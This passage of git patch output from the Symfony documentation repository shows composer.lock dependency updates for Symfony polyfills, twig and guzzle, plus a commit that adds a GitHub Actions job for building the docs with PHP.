+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Intl\\Idn\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Laurent Bassin",
+                    "email": "laurent@bassin.info"
+                },
+                {
+                    "name": "Trevor Rowbotham",
+                    "email": "trevor.rowbotham@pm.me"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill for intl's idn_to_ascii and idn_to_utf8 functions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "idn",
+                "intl",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-intl-idn/tree/main"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:34:17+00:00"
+        },
+        {
+            "name": "symfony/polyfill-intl-normalizer",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
+                "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8db0ae7936b42feb370840cf24de1a144fb0ef27",
+                "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3"
+            },
+            "suggest": {
+                "ext-intl": "For best performance"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Intl\\Normalizer\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ],
+                "classmap": [
+                    "Resources/stubs"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill for intl's Normalizer class and related functions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "intl",
+                "normalizer",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-mbstring",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-mbstring.git",
+                "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/b5f7b932ee6fa802fc792eabd77c4c88084517ce",
+                "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3"
+            },
+            "suggest": {
+                "ext-mbstring": "For best performance"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Mbstring\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill for the Mbstring extension",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "mbstring",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-php70",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-php70.git",
+                "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-php70/zipball/3fe414077251a81a1b15b1c709faf5c2fbae3d4e",
+                "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e",
+                "shasum": ""
+            },
+            "require": {
+                "paragonie/random_compat": "~1.0|~2.0|~9.99",
+                "php": ">=5.3.3"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php70\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ],
+                "classmap": [
+                    "Resources/stubs"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill backporting some PHP 7.0+ features to lower PHP versions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-php70/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-php72",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-php72.git",
+                "reference": "beecef6b463b06954638f02378f52496cb84bacc"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/beecef6b463b06954638f02378f52496cb84bacc",
+                "reference": "beecef6b463b06954638f02378f52496cb84bacc",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php72\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-php72/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-php73",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-php73.git",
+                "reference": "9d920e3218205554171b2503bb3e4a1366824a16"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/9d920e3218205554171b2503bb3e4a1366824a16",
+                "reference": "9d920e3218205554171b2503bb3e4a1366824a16",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php73\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ],
+                "classmap": [
+                    "Resources/stubs"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-php80",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-php80.git",
+                "reference": "f54ef00f4678f348f133097fa8c3701d197ff44d"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/f54ef00f4678f348f133097fa8c3701d197ff44d",
+                "reference": "f54ef00f4678f348f133097fa8c3701d197ff44d",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.0.8"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php80\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ],
+                "classmap": [
+                    "Resources/stubs"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Ion Bazan",
+                    "email": "ion.bazan@gmail.com"
+                },
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/process",
+            "version": "5.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/process.git",
+                "reference": "f3957bcc7ec492baf22812c48e7cccf152491770"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/process/zipball/f3957bcc7ec492baf22812c48e7cccf152491770",
+                "reference": "f3957bcc7ec492baf22812c48e7cccf152491770",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.15"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-version": "5.2"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\Process\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony Process Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/process/tree/v5.2.0-BETA2"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-13T13:22:54+00:00"
+        },
+        {
+            "name": "symfony/service-contracts",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/service-contracts.git",
+                "reference": "0aeee2f70f4550e6c48c9a796d98f5ceda58dfda"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/0aeee2f70f4550e6c48c9a796d98f5ceda58dfda",
+                "reference": "0aeee2f70f4550e6c48c9a796d98f5ceda58dfda",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5",
+                "psr/container": "^1.0"
+            },
+            "suggest": {
+                "symfony/service-implementation": ""
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-version": "2.3",
+                "branch-alias": {
+                    "dev-main": "2.3-dev"
+                },
+                "thanks": {
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Contracts\\Service\\": ""
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Generic abstractions related to writing services",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "abstractions",
+                "contracts",
+                "decoupling",
+                "interfaces",
+                "interoperability",
+                "standards"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/service-contracts/tree/main"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-14T17:08:19+00:00"
+        },
+        {
+            "name": "twig/twig",
+            "version": "2.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/twigphp/Twig.git",
+                "reference": "78173b3c850e344cb8515fc2a05138d39a6c39e0"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/78173b3c850e344cb8515fc2a05138d39a6c39e0",
+                "reference": "78173b3c850e344cb8515fc2a05138d39a6c39e0",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5",
+                "symfony/polyfill-ctype": "^1.8",
+                "symfony/polyfill-mbstring": "^1.3"
+            },
+            "require-dev": {
+                "psr/container": "^1.0",
+                "symfony/phpunit-bridge": "^4.4.9|^5.0.9"
+            },
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "2.14-dev"
+                }
+            },
+            "autoload": {
+                "psr-0": {
+                    "Twig_": "lib/"
+                },
+                "psr-4": {
+                    "Twig\\": "src/"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "BSD-3-Clause"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com",
+                    "homepage": "http://fabien.potencier.org",
+                    "role": "Lead Developer"
+                },
+                {
+                    "name": "Twig Team",
+                    "role": "Contributors"
+                },
+                {
+                    "name": "Armin Ronacher",
+                    "email": "armin.ronacher@active-4.com",
+                    "role": "Project Founder"
+                }
+            ],
+            "description": "Twig, the flexible, fast, and secure template language for PHP",
+            "homepage": "https://twig.symfony.com",
+            "keywords": [
+                "templating"
+            ],
+            "support": {
+                "issues": "https://github.com/twigphp/Twig/issues",
+                "source": "https://github.com/twigphp/Twig/tree/2.x"
+            },
+            "funding": [
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/twig/twig",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-21T12:45:52+00:00"
+        }
+    ],
+    "packages-dev": [],
+    "aliases": [],
+    "minimum-stability": "dev",
+    "stability-flags": {
+        "symfony/docs-builder": 20,
+        "symfony/process": 20
+    },
+    "prefer-stable": false,
+    "prefer-lowest": false,
+    "platform": {
+        "php": ">=7.2.9"
+    },
+    "platform-dev": [],
+    "platform-overrides": {
+        "php": "7.2.9"
+    },
+    "plugin-api-version": "2.0.0"
+}
diff --git a/docs.json b/docs.json
new file mode 100644
index 00000000000..70c1a299f0e
--- /dev/null
+++ b/docs.json
@@ -0,0 +1,3 @@
+{
+    "exclude": ["_build"]
+}

From b152b91d6d58cc71e0cc11f822ad26a9c69bfe8d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 25 Oct 2020 13:56:48 +0100
Subject: [PATCH 1421/7107] Added Github actions integration

---
 .github/workflows/ci.yaml |  38 +++
 _build/build.php          |   3 +-
 _build/composer.json      |   1 +
 _build/composer.lock      | 528 +++++++++++++-------------------------
 4 files changed, 225 insertions(+), 345 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 26f0e537118..dd7599889d0 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -43,6 +43,44 @@ jobs:
             -   name: "Build documentation"
                 run: make -C _build SPHINXOPTS="-nqW -j auto" html
 
+    build-php:
+        name: Symfony doc builder
+
+        runs-on: ubuntu-latest
+
+        continue-on-error: true
+
+        steps:
+            - name: "Checkout"
+              uses: actions/checkout@v2
+
+            - name: "Set-up PHP"
+              uses: shivammathur/setup-php@v2
+              with:
+                  php-version: 7.2
+                  coverage: none
+                  tools: "composer:v2"
+
+            - name: Get composer cache directory
+              id: composercache
+              working-directory: _build
+              run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+            - name: Cache dependencies
+              uses: actions/cache@v2
+              with:
+                  path: ${{ steps.composercache.outputs.dir }}
+                  key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
+                  restore-keys: ${{ runner.os }}-composer-
+
+            - name: "Install dependencies"
+              working-directory: _build
+              run: composer install --prefer-dist --no-progress
+
+            - name: "Build the docs"
+              working-directory: _build
+              run: php build.php -vvv
+
     doctor-rst:
         name: DOCtor-RST
 
diff --git a/_build/build.php b/_build/build.php
index 5a2fd660bda..9dba64d5145 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -33,7 +33,8 @@
 
         $process = new Process($command);
         $process->setTimeout(3600);
-        $process->run();
+
+        $this->getHelper('process')->run($output, $process);
 
         if (!$process->isSuccessful()) {
             throw new ProcessFailedException($process);
diff --git a/_build/composer.json b/_build/composer.json
index 30de6365ecb..ea0ef4eee25 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -1,5 +1,6 @@
 {
     "minimum-stability": "dev",
+    "prefer-stable": true,
     "repositories": [
         { "type": "git", "url": "https://github.com/weaverryan/docs-builder" }
     ],
diff --git a/_build/composer.lock b/_build/composer.lock
index 101c85b4165..8a5ab63dcb7 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,20 +4,20 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "6ee53de4a5225f7f273333a94e84fdd1",
+    "content-hash": "e580f6d54e3fe0b71ca6103550882138",
     "packages": [
         {
             "name": "doctrine/event-manager",
-            "version": "1.1.x-dev",
+            "version": "1.1.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/event-manager.git",
-                "reference": "348f72ec92c7e0b1f5462f6616af2b448ba3cbb1"
+                "reference": "41370af6a30faa9dc0368c4a6814d596e81aba7f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/348f72ec92c7e0b1f5462f6616af2b448ba3cbb1",
-                "reference": "348f72ec92c7e0b1f5462f6616af2b448ba3cbb1",
+                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/41370af6a30faa9dc0368c4a6814d596e81aba7f",
+                "reference": "41370af6a30faa9dc0368c4a6814d596e81aba7f",
                 "shasum": ""
             },
             "require": {
@@ -30,7 +30,6 @@
                 "doctrine/coding-standard": "^6.0",
                 "phpunit/phpunit": "^7.0"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
@@ -99,7 +98,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-05T12:08:55+00:00"
+            "time": "2020-05-29T18:28:51+00:00"
         },
         {
             "name": "doctrine/rst-parser",
@@ -107,12 +106,12 @@
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "1873475b3791954f1ca1539d4063cfcbd1c9e351"
+                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/1873475b3791954f1ca1539d4063cfcbd1c9e351",
-                "reference": "1873475b3791954f1ca1539d4063cfcbd1c9e351",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/68419cbf92d60177b95e44d79a79cae1098a91ef",
+                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef",
                 "shasum": ""
             },
             "require": {
@@ -167,20 +166,20 @@
                 "issues": "https://github.com/doctrine/rst-parser/issues",
                 "source": "https://github.com/doctrine/rst-parser/tree/master"
             },
-            "time": "2020-10-23T00:13:24+00:00"
+            "time": "2020-10-26T13:37:24+00:00"
         },
         {
             "name": "guzzlehttp/guzzle",
-            "version": "6.5.x-dev",
+            "version": "6.5.5",
             "source": {
                 "type": "git",
                 "url": "https://github.com/guzzle/guzzle.git",
-                "reference": "e8ed4dbf49b260ff129ff0e0400718c3269971bf"
+                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/e8ed4dbf49b260ff129ff0e0400718c3269971bf",
-                "reference": "e8ed4dbf49b260ff129ff0e0400718c3269971bf",
+                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
+                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
                 "shasum": ""
             },
             "require": {
@@ -238,42 +237,20 @@
                 "issues": "https://github.com/guzzle/guzzle/issues",
                 "source": "https://github.com/guzzle/guzzle/tree/6.5"
             },
-            "funding": [
-                {
-                    "url": "https://github.com/GrahamCampbell",
-                    "type": "github"
-                },
-                {
-                    "url": "https://github.com/Nyholm",
-                    "type": "github"
-                },
-                {
-                    "url": "https://github.com/alexeyshockov",
-                    "type": "github"
-                },
-                {
-                    "url": "https://github.com/gmponos",
-                    "type": "github"
-                },
-                {
-                    "url": "https://github.com/sagikazarmark",
-                    "type": "github"
-                }
-            ],
-            "time": "2020-07-02T06:52:04+00:00"
+            "time": "2020-06-16T21:01:06+00:00"
         },
         {
             "name": "guzzlehttp/promises",
-            "version": "dev-master",
+            "version": "1.4.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/guzzle/promises.git",
-                "reference": "ddfeedfff2a52661429437da0702979f708e6ac6"
+                "reference": "60d379c243457e073cff02bc323a2a86cb355631"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/promises/zipball/ddfeedfff2a52661429437da0702979f708e6ac6",
-                "reference": "ddfeedfff2a52661429437da0702979f708e6ac6",
+                "url": "https://api.github.com/repos/guzzle/promises/zipball/60d379c243457e073cff02bc323a2a86cb355631",
+                "reference": "60d379c243457e073cff02bc323a2a86cb355631",
                 "shasum": ""
             },
             "require": {
@@ -282,7 +259,6 @@
             "require-dev": {
                 "symfony/phpunit-bridge": "^4.4 || ^5.1"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
@@ -314,22 +290,22 @@
             ],
             "support": {
                 "issues": "https://github.com/guzzle/promises/issues",
-                "source": "https://github.com/guzzle/promises/tree/master"
+                "source": "https://github.com/guzzle/promises/tree/1.4.0"
             },
-            "time": "2020-10-19T16:50:15+00:00"
+            "time": "2020-09-30T07:37:28+00:00"
         },
         {
             "name": "guzzlehttp/psr7",
-            "version": "1.x-dev",
+            "version": "1.7.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/guzzle/psr7.git",
-                "reference": "25f7f893f0b52b7b14e244a16679d72b1f0088de"
+                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/psr7/zipball/25f7f893f0b52b7b14e244a16679d72b1f0088de",
-                "reference": "25f7f893f0b52b7b14e244a16679d72b1f0088de",
+                "url": "https://api.github.com/repos/guzzle/psr7/zipball/53330f47520498c0ae1f61f7e2c90f55690c06a3",
+                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3",
                 "shasum": ""
             },
             "require": {
@@ -389,82 +365,31 @@
             ],
             "support": {
                 "issues": "https://github.com/guzzle/psr7/issues",
-                "source": "https://github.com/guzzle/psr7/tree/1.x"
+                "source": "https://github.com/guzzle/psr7/tree/1.7.0"
             },
-            "time": "2020-10-22T07:42:05+00:00"
-        },
-        {
-            "name": "paragonie/random_compat",
-            "version": "v9.99.100",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/paragonie/random_compat.git",
-                "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/paragonie/random_compat/zipball/996434e5492cb4c3edcb9168db6fbb1359ef965a",
-                "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">= 7"
-            },
-            "require-dev": {
-                "phpunit/phpunit": "4.*|5.*",
-                "vimeo/psalm": "^1"
-            },
-            "suggest": {
-                "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes."
-            },
-            "type": "library",
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Paragon Initiative Enterprises",
-                    "email": "security@paragonie.com",
-                    "homepage": "https://paragonie.com"
-                }
-            ],
-            "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7",
-            "keywords": [
-                "csprng",
-                "polyfill",
-                "pseudorandom",
-                "random"
-            ],
-            "support": {
-                "email": "info@paragonie.com",
-                "issues": "https://github.com/paragonie/random_compat/issues",
-                "source": "https://github.com/paragonie/random_compat"
-            },
-            "time": "2020-10-15T08:29:30+00:00"
+            "time": "2020-09-30T07:37:11+00:00"
         },
         {
             "name": "psr/container",
-            "version": "dev-master",
+            "version": "1.0.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/container.git",
-                "reference": "381524e8568e07f31d504a945b88556548c8c42e"
+                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/container/zipball/381524e8568e07f31d504a945b88556548c8c42e",
-                "reference": "381524e8568e07f31d504a945b88556548c8c42e",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
